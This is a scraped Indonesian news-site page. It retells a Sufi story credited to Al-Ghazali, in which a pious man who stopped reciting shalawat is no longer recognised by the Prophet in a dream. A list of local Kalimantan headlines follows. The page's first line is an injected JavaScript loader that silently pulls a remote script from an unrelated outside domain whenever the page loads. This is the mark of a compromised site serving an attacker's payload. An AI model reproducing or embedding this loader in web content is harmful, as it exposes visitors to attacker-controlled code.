(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kisah Sufi

Kisah Orang Saleh yang Sempat Berhenti Mengamalkan Shalawat Nabi


Pada suatu zaman terdapat seorang yang cukup saleh. Ia melazimkan bacaan shalawat nabi setiap harinya. Ia sendiri kerap bertemu Rasulullah SAW dalam mimpinya. Ia diperlakukan dengan hangat oleh Rasulullah SAW pada setiap perjumpaan.

Tetapi suasana perjumpaannya pada malam kali ini berbeda. Ketika tertidur, ia bermimpi melihat Rasulullah SAW.

Tidak seperti biasanya, Rasulullah bersikap dingin. Rasulullah SAW tidak menoleh kepadanya dan tidak menyapanya.

“Wahai Rasulullah, apakah yang mulia sedang murka terhadapku?” ia bertanya dengan masygul. “Tidak,” jawab Rasulullah SAW.

“Lalu mengapa yang mulia tidak sudi memandangku?”

“Karena aku tidak mengenalimu,” kata Rasulullah SAW.

“Bagaimana bisa yang mulia tidak mengenaliku? Padahal, aku adalah salah seorang dari umat Anda yang mulia. Sementara, ulama yang menjadi ahli waris yang mulia meriwayatkan bahwa yang mulia lebih mengenal umat yang mulia sendiri dibanding pengenalan ibu terhadap anaknya.”
“Mereka itu benar. Hanya saja kau tidak mengingatku melalui shalawat. Sementara daya pengenalanku terhadap umatku bergantung pada kekuatan mereka membaca shalawat,” kata Rasulullah SAW.

Ia pun terbangun. Hatinya begitu sedih. Tetapi ia menyadari bahwa sudah sekian bulan ia tidak membaca shalawat. Ia kemudian bertekad dalam hatinya untuk membaca shalawat nabi sebanyak 100 kali setiap hari. Ia pun kemudian membuktikan tekadnya dengan baik.

Pada suatu malam kemudian ia berjumpa dengan Rasulullah SAW dalam mimpinya. Ia disapa dengan hangat oleh Rasulullah.

“Sekarang aku mengenalimu dan aku memberikan syafaatku untukmu,” kata Rasulullah SAW dengan perhatian.

Tanggapan Rasulullah SAW begitu hangat karena orang saleh tersebut dengan amalan shalawatnya menunjukkan diri sebagai pecinta Rasulullah SAW.  *

Kisah ini disadur dari Bab Ketujuh fil Mahabbah, Kitab Mukasyafatul Qulub Al-Muqarribu ila Hadhrati ‘Allamil Ghuyub fi Ilmit Tashawwuf karya Imam Al-Ghazali (Beirut, Darul Kutub Al-Ilmiyyah: 2019 M/1440 H), halaman 30. Wallahu a’lam. (alhafiz kurniawan/nuonline)

Reporter : nuonline
Editor : kk

Al Ghifari

Recent Posts

Upayakan Partisipasi Pemilih dalam PSU Banjarbaru Meningkat, KPU Kalsel Pasang Spanduk

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan terus berupaya meningkatkan partisipasi pemilih… Read More

4 jam ago

Dilantik Serentak, Jajaran Badan Adhoc untuk PSU di Banjarbaru Resmi Bekerja

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan resmi melantik ribuan anggota Badan… Read More

4 jam ago

Libur Idulfitri, Pelanggan PTAM Intan Banjar Bisa Bayar Tagihan Lewat SMS Banking, ATM Bank, atau Layanan Pembayaran Online

KANALKALIMANTAN.COM, BANJARBARU - Sehubungan dengan libur hari besar pada akhir Maret dan awal April 2025… Read More

7 jam ago

Pemkab Banjar Gelar Halalbihalal di Mahligai Sultan Adam

KANALKALIMANTAN.COM, MARTAPURA - Momen 1 Syawal 1446 H kali ini bertepatan Senin (31/3/2025) digelar Halalbihalal… Read More

1 hari ago

Sajian Makan Bersama Warga Setelah Salat Ied

KANALKALIMANTAN.COM, BANJARBARU - Momen Hari Raya Idulfitri di Kota Banjarbaru dimanfaatkan salah satu warga Kelurahan… Read More

1 hari ago

YBM Bersama Srikandi PLN Berbagi Berkah Ramadan kepada Mustahik di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Jelang Idulfitri 1446 Hijriyah, Yayasan Baitul Ma'al (YBM) dan Srikandi PT PLN… Read More

2 hari ago